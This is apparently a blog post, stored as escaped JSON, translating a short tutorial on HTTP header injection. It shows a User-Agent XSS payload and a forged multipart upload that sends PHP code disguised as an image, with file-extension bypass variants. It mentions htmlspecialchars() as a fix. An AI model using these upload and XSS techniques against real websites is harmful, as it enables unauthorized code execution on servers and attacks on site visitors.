\u8fd9\u4efd\u8bba\u6587\u53ea\u4e3a\u6559\u80b2\u76ee\u7684\u3002<\/p>\n
\u6211\u53d1\u73b0\u6211\u7684BLOGSPOT\u7a0b\u5e8f\u975e\u5e38\u7684\u7cdf\u7cd5 \uff0c\u6240\u6709\u7684\u63d0\u4ea4\u90fd\u662f\u975e\u5e38\u7684\u7cdf\u7cd5\uff0c\u4e8e\u662f\u6211\u51b3\u5fc3\u505a\u4e00\u4e2a\u597d\u7684\u7248\u672c\u3002\u5bf9\u4e0d\u8d77,\u6211\u7684\u82f1\u8bed\u8bf4\u7684\u4e0d\u662f\u5f88\u597d\uff0c\u6211\u4f1a\u7ee7\u7eed\u52aa\u529b\u7684\uff0cOK\uff0c\u8ba9\u6211\u4eec\u5f00\u59cb\u8fd9\u7bc7\u7b80\u77ed\u7684\u6587\u7ae0\uff0c\u4f60\u662f\u600e\u4e48\u8ba4\u4e3a\u770b\u5230\u4e00\u4e2a\u4e0a\u4f20\u7684\u9875\u9762\uff0c\u6211\u8ba4\u4e3a\uff0c\u4e5f\u8bb8\u6bcf\u4e2a\u4eba\u90fd\u4f1a\u60f3\u8fd9\u662f\u4e00\u4e2a\u975e\u5e38\u4e0d\u9519\u7684BUG\u3002\u8de8\u7ad9\u4e0a\u4f20\u662f\u4e00\u4e2a\u4e0d\u9519\u7684\u4e3b\u610f\uff0c\u4f60\u4e5f\u53ef\u4ee5\u628a\u6587\u4ef6\u91cd\u547d\u540d\u4e3a \u201cFile.php.jpg\u201d\u3002\u7136\u800c\u6211\u4eec\u5c06\u8981\u8c08\u8bba\u7684\u8de8\u7ad9\u5c31\u662f\u5728\u6d88\u606f\u5934\u4e2d\uff0c\u5b58\u5728\u8fd9\u79cd\u6f0f\u6d1e\u7684\u9875\u9762\u662f\u9ad8\u98ce\u9669\u7684\u3002<\/p>\n
<\/p>\n
\u5173\u4e8eHTTP\u6d88\u606f\u5934 : http:\/\/en.wikipedia.org\/wiki\/List_of_HTTP_headers<\/p>\n
<\/p>\n
\u4f60\u8981\u77e5\u9053\u6211\u4eec\u53ef\u4ee5\u4fee\u6539HTTP \u5934\u5e94\u7b54\u5305\uff0c\u5c31\u50cf\u4e00\u4e2a\u6ce8\u5c04\u7684\u4f8b\u5b50\uff08\u8981\u7406\u89e3\u8fd9\u4e2a\u6216\u505a\u4e00\u4e9b\u6d4b\u8bd5\uff0c\u4f60\u9700\u8981\u4e0b\u8f7d\u5e76\u5b89\u88c5\u5728FireFox Addon\u4e2d\u641c\u7d22 \u201dLive HTTP Headers\u201d\uff09\u8fd0\u884c\u8fd9\u4e2aAddon\u5f53\u4f60\u8f93\u5165Google.com\u56de\u8f66\u540e,\u5982\u4f8b\u5b50\u4f60\u5c06\u770b\u5230\u4e00\u4e9b\u5e94\u7b54\u5305\u6570\u636e\uff0c\u5982\u4e0b\uff1a<\/p>\n
<\/p>\n
Host: google.com
\nUser-Agent: Mozilla\/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko\/20071127 Firefox\/2.0.0.11
\nAccept: text\/xml,application\/xml,application\/xhtml+xml,text\/html;q=0.9,text\/plain;q=0.8,image\/png,*\/*;q=0.5
\nAccept-Language: en-us,en;q=0.5
\nAccept-Encoding: gzip,deflate
\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
\nKeep-Alive: 300
\nConnection: keep-alive<\/p>\n
<\/p>\n
\u4f60\u77e5\u9053\u6709\u591a\u5c11\u7ad9\u70b9\u4f1a\u5728\u8fd9\u4e2a\u9875\u9762\u4e2d\u6253\u5370\u4f60\u7684IP\u548c\u6d4f\u89c8\u5668?\u5f88\u591a\uff01,\u4f60\u8ba4\u4e3a\u8fd9\u6837\u6b63\u89e3\u5417\uff1f\u4f60\u53ef\u4ee5\u6539\u53d8\u8fd9\u4e2a\u6d88\u606f\u5934\u548c\u5236\u505a\u4e00\u4e2a\u6d4b\u8bd5\u7528\u7684XSS(Cross Site Scripting)\uff0c\u8bb8\u591a\u7684\u7ad9\u70b9\u5b58\u5728\u8fd9\u79cd\u7c7b\u578b\u7684\u6f0f\u6d1e\u800c\u9020\u5230\u653b\u51fb,\u56e0\u4e3aWEB\u7ba1\u7406\u5458\u6beb\u4e0d\u77e5\u9053\u5173\u4e8e\u8fd9\u7c7b\u7684BUG\uff1b\u6211\u8bb0\u5f97\u4e0d\u662f\u5f88\u6e05\u695a\uff0c\u4f46\u662fAstalavista \u524d\u51e0\u4e2a\u6708\u4e5f\u662f\u8fd9\u79cd\u7c7b\u578b\u7684\u653b\u51fb\u6f0f\u6d1e\u2014HTTP HEADER INJECTION\u3002\u73b0\u5728\u5f53\u4f60\u62ff\u7740HTTP\u6d88\u606f\u5934\u7684\u5e94\u7b54\u5305\u6253\u5f00\u4f60\u7684Addon Live http headers \u5355\u51fb\u4e0a\u9762\u7684\u9009\u9879\u201dreplay\u201d\u548c\u4fee\u6539\u6d4f\u89c8\u5668\/ user agent \u5982\u4e0b\u4f8b:<\/p>\n
<\/p>\n
Host: google.com
\nUser-Agent: <script>alert(\/xss\/)<\/script>
\nAccept: text\/xml,application\/xml,application\/xhtml+xml,text\/html;q=0.9,text\/plain;q=0.8,image\/png,*\/*;q=0.5
\nAccept-Language: en-us,en;q=0.5
\nAccept-Encoding: gzip,deflate
\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
\nKeep-Alive: 300
\nConnection: keep-alive<\/p>\n
<\/p>\n
\u5f53\u4f60\u518d\u6b21\u5355\u51fb\u201dreplay\u201d \u4f60\u4f1a\u770b\u5230\u7ed3\u679c\u6b63\u662f\u4f60http \u6d88\u606f\u5934\u7684\u6ce8\u5165\u7ed3\u679c\uff0c\u6d4b\u8bd5\u4e2d\u53d1\u73b085%\u7684\u9875\u9762\u90fd\u5b58\u5728\u8fd9\u6837\u7684BUG\uff0c\u5982\u679c\u4f60\u8981\u53bb\u4e00\u4e2aWEB\u7a0b\u5e8f\u4e2d\u4f60\u52a1\u5fc5\u4fdd\u6301\u8b66\u89c9\u3002\u4f60\u77e5\u9053\u600e\u4e48\u4fee\u6539\u8fd9\u4e2a\u7a0b\u5e8f\u5417\uff1f\u53ea\u9700\u8981\u4f7f\u7528 htmlspecialchars();\u51fd\u6570\u3002\u90a3\u662f\u5173\u4e8eXSS\u7684\u5229\u7528\uff0c\u4f46\u662f\u6211\u5bf9\u8de8\u7ad9\u4e0a\u4f20\u7684\u65f6\u5019\u5236\u505ahttp header\u6ce8\u5165\u611f\u5174\u8da3.<\/p>\n
<\/p>\n
\u8ba9\u6211\u4eec\u770b\u8fd9\u4e2aHTTP \u5934\u7684\uff0c\u6d88\u606f\u5305,\u662f\u5728\u6211\u4e0a\u4f20\u4e00\u4e2a\u201dIMAGE\u201d\u65f6\u7684\u5168\u90e8\u4ee3\u7801:<\/p>\n
<\/p>\n
Host: www.webiste.com
\nUser-Agent: Mozilla\/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko\/20071127 Firefox\/2.0.0.11
\nAccept: text\/xml,application\/xml,application\/xhtml+xml,text\/html;q=0.9,text\/plain;q=0.8,image\/png,*\/*;q=0.5
\nAccept-Language: en-us,en;q=0.5
\nAccept-Encoding: gzip,deflate
\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
\nKeep-Alive: 300
\nConnection: keep-alive
\nReferer: http:\/\/website.com
\nContent-Type: multipart\/form-data; boundary=—————————23864205337548
\nContent-Length: 322<\/p>\n
—————————–23864205337548<\/p>\n
Content-Disposition: form-data; name=”userfile”; filename=”image.jpg”<\/p>\n
Content-Type: image\/jpeg<\/p>\n
<\/p>\n
<?php<\/p>\n
phpinfo();<\/p>\n
?><\/p>\n
—————————–23864205337548<\/p>\n
Content-Disposition: form-data; name=”submit”<\/p>\n
<\/p>\n
Subir imagen<\/p>\n
—————————–23864205337548–<\/p>\n
<\/p>\n
<\/p>\n
\u8fd9\u662f\u6211\u5728http \u6d88\u606f\u5934\u4e2d\u63a8\u6d4b\u51fa\u7684\u56fe\u7247\u5e94\u7b54\u5305\u3002\u5728\u8fd9\u4e2d\u95f4\u4f60\u53ef\u4ee5\u770b\u5230PHP\u4ee3\u7801\uff0cOK,\u8ba9\u6211\u4eec\u5c1d\u8bd5\u4e00\u4e9b\u4e0d\u540c\u7684\uff0c\u6211\u4eec\u53ef\u4ee5\u53bb\u6539\u53d8\u8fd9\u4e2a\u540d\u79f0\u4e3a\u56fe\u7247\u548c\u5176\u4ed6\u7684\u6269\u5c55\u540d\u5982\u4f8b\u5b50\uff1a.php(\u7531\u4e8e\u4e00\u4e9b\u7ad9\u70b9\u4ee5\u7ecf\u628a\u6f0f\u6d1e\u7ed9\u8865\u4e0a\u4e86\uff0c\u4e0d\u53ef\u4ee5\u4e0a\u4f20PHP\u6269\u5c55\u540d\uff0c\u4f60\u53ef\u4ee5\u53bb\u5c1d\u8bd5<\/p>\n
php5,php4,php.jpg,php.png,etc);<\/p>\n
<\/p>\n
Content-Disposition: form-data; name=”userfile”; filename=”image.php”<\/p>\n
Content-Type: image\/jpeg<\/p>\n
<\/p>\n
<?php<\/p>\n
phpinfo();<\/p>\n
?><\/p>\n
—————————–23864205337548<\/p>\n
Content-Disposition: form-data; name=”submit”<\/p>\n
<\/p>\n
Subir imagen<\/p>\n
—————————–23864205337548\u2014<\/p>\n
<\/p>\n
\u5f53\u6211\u4eec\u53d1\u9001replay\u540e\uff0c\u8ba9\u6211\u4eec\u770b\u4e00\u4e0bHTTP \u6d88\u606f\u5934\u6ce8\u5165\u7684\u8fd4\u56de\u7ed3\u679c;\u6211\u4eec\u5f97\u5230POST\u53d1\u9001\u7684\u9519\u8bef\uff0c\u5185\u5bb9\u662f\u8fc7\u4e8e\u957f\u3002\u9000\u51fa\u8fd9\u4e2a\u9519\u8bef\u63d0\u793a\uff0c\u518d\u6b21\u70b9\u51fb\u53d1\u9001replay\u5728\u5916\u9762:<\/p>\n
<\/p>\n
Content-Length: 322<\/p>\n
<\/p>\n
\u5982\u679c\u4e0a\u4f20\u6f0f\u6d1e\u5b58\u5728\uff0c\u4f60\u5c06\u770b\u5230\u4f60\u6240\u4e0a\u4f20\u4ee3\u7801\u6267\u884c\u540e\u7684\u9875\u9762\uff0c\u5f53\u4f60\u70b9\u51fb\u8fd9\u4e2a\u8fde\u63a5\u5c31\u4f1a\u770b\u5230\u4f60\u5047\u56fe\u7247.\u6211\u5e0c\u671b\u4f60\u4eec\u5728\u8fd9\u7bc7\u8bba\u6587\u91cc\u5b66\u5230\u65b0\u7684\u77e5\u8bc6\uff0c\u81f4\u610f\u3002<\/p>\n
<\/p>\n
Author : Psiczn
\nWebsite: www.psiczn.uni.cc
\nContact: Psiczn@gmail.com
\nNote : If you are going to post this little paper in some site please put the source and the
\nauthor, this paper have copyright.<\/p>\n","protected":false},"excerpt":{"rendered":"
\u8fd9\u4efd\u8bba\u6587\u53ea\u4e3a\u6559\u80b2\u76ee\u7684\u3002 \u6211\u53d1\u73b0\u6211\u7684BLOGSPOT\u7a0b\u5e8f\u975e\u5e38\u7684\u7cdf\u7cd5 \uff0c\u6240\u6709\u7684\u63d0\u4ea4\u90fd …<\/p>\n